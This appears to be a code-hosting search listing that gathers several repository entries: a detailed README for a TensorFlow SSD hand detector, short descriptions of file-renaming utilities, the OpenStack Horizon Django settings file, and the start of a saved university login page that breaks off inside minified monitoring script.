15 skills found
molyswu / Hand Detectionusing Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.
Bit0r / FscodeManage Your Files with Your Editor
spf13 / PathologizeClean paths to ensure safe to use on all modern FS/OSs
michealbalogun / Horizon DashboardCopyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import glob import logging import os import sys import warnings from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from horizon.utils.escape import monkeypatch_escape from openstack_dashboard import enabled from openstack_dashboard import exceptions from openstack_dashboard.local import enabled as local_enabled from openstack_dashboard import theme_settings from openstack_dashboard.utils import config from openstack_dashboard.utils import settings as settings_utils monkeypatch_escape() _LOG = logging.getLogger(__name__) warnings.formatwarning = lambda message, category, *args, **kwargs: \ '%s: %s' % (category.__name__, message) ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) if ROOT_PATH not in sys.path: sys.path.append(ROOT_PATH) DEBUG = False SITE_BRANDING = 'OpenStack Dashboard' WEBROOT = '/' LOGIN_URL = None LOGOUT_URL = None LOGIN_ERROR = None LOGIN_REDIRECT_URL = None MEDIA_ROOT = None MEDIA_URL = None STATIC_ROOT = None STATIC_URL = None SELECTABLE_THEMES = None INTEGRATION_TESTS_SUPPORT = False NG_TEMPLATE_CACHE_AGE = 2592000 ROOT_URLCONF = 'openstack_dashboard.urls' HORIZON_CONFIG = { 'user_home': 'openstack_dashboard.views.get_user_home', 'ajax_queue_limit': 10, 'auto_fade_alerts': { 'delay': 3000, 'fade_duration': 1500, 'types': ['alert-success', 'alert-info'] }, 'bug_url': None, 'help_url': "https://docs.openstack.org/", 'exceptions': {'recoverable': exceptions.RECOVERABLE, 'not_found': exceptions.NOT_FOUND, 'unauthorized': exceptions.UNAUTHORIZED}, 'modal_backdrop': 'static', 'angular_modules': [], 'js_files': [], 'js_spec_files': [], 'external_templates': [], 'plugins': [], 'integration_tests_support': INTEGRATION_TESTS_SUPPORT } # The OPENSTACK_IMAGE_BACKEND settings can be used to customize features # in the OpenStack Dashboard related to the Image service, such as the list # of supported image formats. OPENSTACK_IMAGE_BACKEND = { 'image_formats': [ ('', _('Select format')), ('aki', _('AKI - Amazon Kernel Image')), ('ami', _('AMI - Amazon Machine Image')), ('ari', _('ARI - Amazon Ramdisk Image')), ('docker', _('Docker')), ('iso', _('ISO - Optical Disk Image')), ('ova', _('OVA - Open Virtual Appliance')), ('ploop', _('PLOOP - Virtuozzo/Parallels Loopback Disk')), ('qcow2', _('QCOW2 - QEMU Emulator')), ('raw', _('Raw')), ('vdi', _('VDI - Virtual Disk Image')), ('vhd', _('VHD - Virtual Hard Disk')), ('vhdx', _('VHDX - Large Virtual Hard Disk')), ('vmdk', _('VMDK - Virtual Machine Disk')), ] } MIDDLEWARE = ( 'openstack_auth.middleware.OpenstackAuthMonkeyPatchMiddleware', 'debreach.middleware.RandomCommentMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'horizon.middleware.OperationLogMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'horizon.middleware.HorizonMiddleware', 'horizon.themes.ThemeMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerClientMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerMiddleware', ) CACHED_TEMPLATE_LOADERS = [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', 'horizon.loaders.TemplateLoader' ] ADD_TEMPLATE_LOADERS = [] ADD_TEMPLATE_DIRS = [] TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(ROOT_PATH, 'templates')], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.contrib.messages.context_processors.messages', 'horizon.context_processors.horizon', 'openstack_dashboard.context_processors.openstack', ], 'loaders': [ 'horizon.themes.ThemeTemplateLoader' ], }, }, ] STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'horizon.contrib.staticfiles.finders.HorizonStaticFinder', 'compressor.finders.CompressorFinder', ) COMPRESS_PRECOMPILERS = ( ('text/scss', 'horizon.utils.scss_filter.HorizonScssFilter'), ) COMPRESS_CSS_FILTERS = ( 'compressor.filters.css_default.CssAbsoluteFilter', ) COMPRESS_ENABLED = True COMPRESS_OUTPUT_DIR = 'dashboard' COMPRESS_CSS_HASHING_METHOD = 'hash' COMPRESS_PARSER = 'compressor.parser.HtmlParser' INSTALLED_APPS = [ 'openstack_dashboard', 'django.contrib.contenttypes', 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.humanize', 'django_pyscss', 'debreach', 'openstack_dashboard.django_pyscss_fix', 'compressor', 'horizon', 'openstack_auth', ] AUTHENTICATION_BACKENDS = ('openstack_auth.backend.KeystoneBackend',) AUTHENTICATION_URLS = ['openstack_auth.urls'] AUTH_USER_MODEL = 'openstack_auth.User' MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211', }, } SESSION_COOKIE_HTTPONLY = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True SESSION_COOKIE_SECURE = False # Control whether the SESSION_TIMEOUT period is refreshed due to activity. If # False, SESSION_TIMEOUT acts as a hard limit. SESSION_REFRESH = True # This SESSION_TIMEOUT is a method to supercede the token timeout with a # shorter horizon session timeout (in seconds). If SESSION_REFRESH is True (the # default) SESSION_TIMEOUT acts like an idle timeout rather than being a hard # limit, but will never exceed the token expiry. If your token expires in 60 # minutes, a value of 1800 will log users out after 30 minutes of inactivity, # or 60 minutes with activity. Setting SESSION_REFRESH to False will make # SESSION_TIMEOUT act like a hard limit on session times. SESSION_TIMEOUT = 3600 # When using cookie-based sessions, log error when the session cookie exceeds # the following size (common browsers drop cookies above a certain size): SESSION_COOKIE_MAX_SIZE = 4093 # when doing upgrades, it may be wise to stick to PickleSerializer # NOTE(berendt): Check during the K-cycle if this variable can be removed. # https://bugs.launchpad.net/horizon/+bug/1349463 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' # MEMOIZED_MAX_SIZE_DEFAULT allows setting a global default to help control # memory usage when caching. It should at least be 2 x the number of threads # with a little bit of extra buffer. MEMOIZED_MAX_SIZE_DEFAULT = 25 CSRF_FAILURE_VIEW = 'openstack_dashboard.views.csrf_failure' LANGUAGES = ( ('cs', 'Czech'), ('de', 'German'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('fr', 'French'), ('id', 'Indonesian'), ('it', 'Italian'), ('ja', 'Japanese'), ('ko', 'Korean (Korea)'), ('pl', 'Polish'), ('pt-br', 'Portuguese (Brazil)'), ('ru', 'Russian'), ('tr', 'Turkish'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Chinese (Taiwan)'), ) LANGUAGE_CODE = 'en' LANGUAGE_COOKIE_NAME = 'horizon_language' USE_I18N = True USE_L10N = True USE_TZ = True # Set OPENSTACK_CLOUDS_YAML_NAME to provide a nicer name for this cloud for # the clouds.yaml file than "openstack". OPENSTACK_CLOUDS_YAML_NAME = 'openstack' # If this cloud has a vendor profile in os-client-config, put it's name here. OPENSTACK_CLOUDS_YAML_PROFILE = '' OPENSTACK_KEYSTONE_DEFAULT_ROLE = '_member_' DEFAULT_EXCEPTION_REPORTER_FILTER = 'horizon.exceptions.HorizonReporterFilter' POLICY_FILES_PATH = os.path.join(ROOT_PATH, "conf") # Map of local copy of service policy files POLICY_FILES = { 'identity': 'keystone_policy.json', 'compute': 'nova_policy.json', 'volume': 'cinder_policy.json', 'image': 'glance_policy.json', 'network': 'neutron_policy.json', } # Services for which horizon has extra policies are defined # in POLICY_DIRS by default. POLICY_DIRS = { 'compute': ['nova_policy.d'], 'volume': ['cinder_policy.d'], } SECRET_KEY = None LOCAL_PATH = None SECURITY_GROUP_RULES = { 'all_tcp': { 'name': _('All TCP'), 'ip_protocol': 'tcp', 'from_port': '1', 'to_port': '65535', }, 'all_udp': { 'name': _('All UDP'), 'ip_protocol': 'udp', 'from_port': '1', 'to_port': '65535', }, 'all_icmp': { 'name': _('All ICMP'), 'ip_protocol': 'icmp', 'from_port': '-1', 'to_port': '-1', }, } ADD_INSTALLED_APPS = [] # NOTE: The default value of USER_MENU_LINKS will be set after loading # local_settings if it is not configured. USER_MENU_LINKS = None # 'key', 'label', 'path' AVAILABLE_THEMES = [ ( 'default', pgettext_lazy('Default style theme', 'Default'), 'themes/default' ), ( 'material', pgettext_lazy("Google's Material Design style theme", "Material"), 'themes/material' ), ] # The default theme if no cookie is present DEFAULT_THEME = 'default' # Theme Static Directory THEME_COLLECTION_DIR = 'themes' # Theme Cookie Name THEME_COOKIE_NAME = 'theme' POLICY_CHECK_FUNCTION = 'openstack_auth.policy.check' CSRF_COOKIE_AGE = None COMPRESS_OFFLINE_CONTEXT = 'horizon.themes.offline_context' SHOW_KEYSTONE_V2_RC = False SHOW_OPENRC_FILE = True SHOW_OPENSTACK_CLOUDS_YAML = True # Dictionary of currently available angular features ANGULAR_FEATURES = { 'images_panel': True, 'key_pairs_panel': True, 'flavors_panel': False, 'domains_panel': False, 'users_panel': False, 'groups_panel': False, 'roles_panel': True } # Notice all customizable configurations should be above this line XSTATIC_MODULES = settings_utils.BASE_XSTATIC_MODULES OPENSTACK_PROFILER = { 'enabled': False } if not LOCAL_PATH: LOCAL_PATH = os.path.join(ROOT_PATH, 'local') LOCAL_SETTINGS_DIR_PATH = os.path.join(LOCAL_PATH, "local_settings.d") _files = glob.glob(os.path.join(LOCAL_PATH, 'local_settings.conf')) _files.extend( sorted(glob.glob(os.path.join(LOCAL_SETTINGS_DIR_PATH, '*.conf')))) _config = config.load_config(_files, ROOT_PATH, LOCAL_PATH) # Apply the general configuration. config.apply_config(_config, globals()) try: from local.local_settings import * # noqa: F403,H303 except ImportError: _LOG.warning("No local_settings file found.") # configure templates if not TEMPLATES[0]['DIRS']: TEMPLATES[0]['DIRS'] = [os.path.join(ROOT_PATH, 'templates')] TEMPLATES[0]['DIRS'] += ADD_TEMPLATE_DIRS # configure template debugging TEMPLATES[0]['OPTIONS']['debug'] = DEBUG # Template loaders if DEBUG: TEMPLATES[0]['OPTIONS']['loaders'].extend( CACHED_TEMPLATE_LOADERS + ADD_TEMPLATE_LOADERS ) else: TEMPLATES[0]['OPTIONS']['loaders'].extend( [('django.template.loaders.cached.Loader', CACHED_TEMPLATE_LOADERS)] + ADD_TEMPLATE_LOADERS ) # allow to drop settings snippets into a local_settings_dir LOCAL_SETTINGS_DIR_PATH = os.path.join(ROOT_PATH, "local", "local_settings.d") if os.path.exists(LOCAL_SETTINGS_DIR_PATH): for (dirpath, dirnames, filenames) in os.walk(LOCAL_SETTINGS_DIR_PATH): for filename in sorted(filenames): if filename.endswith(".py"): try: with open(os.path.join(dirpath, filename)) as f: # pylint: disable=exec-used exec(f.read()) except Exception as e: _LOG.exception( "Can not exec settings snippet %s", filename) # The purpose of OPENSTACK_IMAGE_FORMATS is to provide a simple object # that does not contain the lazy-loaded translations, so the list can # be sent as JSON to the client-side (Angular). OPENSTACK_IMAGE_FORMATS = [fmt for (fmt, name) in OPENSTACK_IMAGE_BACKEND['image_formats']] if USER_MENU_LINKS is None: USER_MENU_LINKS = [] if SHOW_KEYSTONE_V2_RC: USER_MENU_LINKS.append({ 'name': _('OpenStack RC File v2'), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrcv2', }) if SHOW_OPENRC_FILE: USER_MENU_LINKS.append({ 'name': (_('OpenStack RC File v3') if SHOW_KEYSTONE_V2_RC else _('OpenStack RC File')), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrc', }) if not WEBROOT.endswith('/'): WEBROOT += '/' if LOGIN_URL is None: LOGIN_URL = WEBROOT + 'auth/login/' if LOGOUT_URL is None: LOGOUT_URL = WEBROOT + 'auth/logout/' if LOGIN_ERROR is None: LOGIN_ERROR = WEBROOT + 'auth/error/' if LOGIN_REDIRECT_URL is None: LOGIN_REDIRECT_URL = WEBROOT if MEDIA_ROOT is None: MEDIA_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'media')) if MEDIA_URL is None: MEDIA_URL = WEBROOT + 'media/' if STATIC_ROOT is None: STATIC_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'static')) if STATIC_URL is None: STATIC_URL = WEBROOT + 'static/' AVAILABLE_THEMES, SELECTABLE_THEMES, DEFAULT_THEME = ( theme_settings.get_available_themes( AVAILABLE_THEMES, DEFAULT_THEME, SELECTABLE_THEMES ) ) # Discover all the directories that contain static files STATICFILES_DIRS = theme_settings.get_theme_static_dirs( AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) # Ensure that we always have a SECRET_KEY set, even when no local_settings.py # file is present. See local_settings.py.example for full documentation on the # horizon.utils.secret_key module and its use. if not SECRET_KEY: if not LOCAL_PATH: LOCAL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'local') # pylint: disable=ungrouped-imports from horizon.utils import secret_key SECRET_KEY = secret_key.generate_or_read_from_file(os.path.join(LOCAL_PATH, '.secret_key_store')) # populate HORIZON_CONFIG with auto-discovered JavaScript sources, mock files, # specs files and external templates. settings_utils.find_static_files(HORIZON_CONFIG, AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) INSTALLED_APPS = list(INSTALLED_APPS) # Make sure it's mutable settings_utils.update_dashboards( [ enabled, local_enabled, ], HORIZON_CONFIG, INSTALLED_APPS, ) INSTALLED_APPS[0:0] = ADD_INSTALLED_APPS NG_TEMPLATE_CACHE_AGE = NG_TEMPLATE_CACHE_AGE if not DEBUG else 0 # Include xstatic_modules specified in plugin XSTATIC_MODULES += HORIZON_CONFIG['xstatic_modules'] # Discover all the xstatic module entry points to embed in our HTML STATICFILES_DIRS += settings_utils.get_xstatic_dirs( XSTATIC_MODULES, HORIZON_CONFIG) # This base context objects gets added to the offline context generator # for each theme configured. HORIZON_COMPRESS_OFFLINE_CONTEXT_BASE = { 'WEBROOT': WEBROOT, 'STATIC_URL': STATIC_URL, 'HORIZON_CONFIG': HORIZON_CONFIG, 'NG_TEMPLATE_CACHE_AGE': NG_TEMPLATE_CACHE_AGE, } if DEBUG: logging.basicConfig(level=logging.DEBUG) # Here comes the Django settings deprecation section. Being at the very end # of settings.py allows it to catch the settings defined in local_settings.py # or inside one of local_settings.d/ snippets.
Mrpye / Notion Export CleanerSimple util to remove the GUID from the filename when exporting notion.io exports.
guerinoni / ReplacerCommand-line tool to rename a lot of files with some rules :)
thewebdeveloper2017 / Ilearnmacquarie20178<!DOCTYPE html> <html dir="ltr" lang="en" xml:lang="en"> <head> <!-- front --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>iLearn: Log in to the site</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var o=t[n]={exports:{}};e[n][0].call(o.exports,function(t){var o=e[n][1][t];return r(o||t)},o,o.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(e,t,n){function r(){}function o(e,t,n){return function(){return i(e,[(new Date).getTime()].concat(u(arguments)),t?null:this,n),t?void 0:this}}var i=e("handle"),a=e(2),u=e(3),c=e("ee").get("tracer"),f=NREUM;"undefined"==typeof window.newrelic&&(newrelic=f);var s=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(s,function(e,t){f[t]=o(l+t,!0,"api")}),f.addPageAction=o(l+"addPageAction",!0),f.setCurrentRouteName=o(l+"routeName",!0),t.exports=newrelic,f.interaction=function(){return(new r).get()};var d=r.prototype={createTracer:function(e,t){var n={},r=this,o="function"==typeof t;return i(p+"tracer",[Date.now(),e,n],r),function(){if(c.emit((o?"":"no-")+"fn-start",[Date.now(),r,o],n),o)try{return t.apply(this,arguments)}finally{c.emit("fn-end",[Date.now()],n)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){d[t]=o(p+t)}),newrelic.noticeError=function(e){"string"==typeof e&&(e=new Error(e)),i("err",[e,(new Date).getTime()])}},{}],2:[function(e,t,n){function r(e,t){var n=[],r="",i=0;for(r in e)o.call(e,r)&&(n[i]=t(r,e[r]),i+=1);return n}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],3:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,o=n-t||0,i=Array(o<0?0:o);++r<o;)i[r]=e[t+r];return i}t.exports=r},{}],ee:[function(e,t,n){function r(){}function o(e){function t(e){return e&&e instanceof r?e:e?c(e,u,i):i()}function n(n,r,o){if(!p.aborted){e&&e(n,r,o);for(var 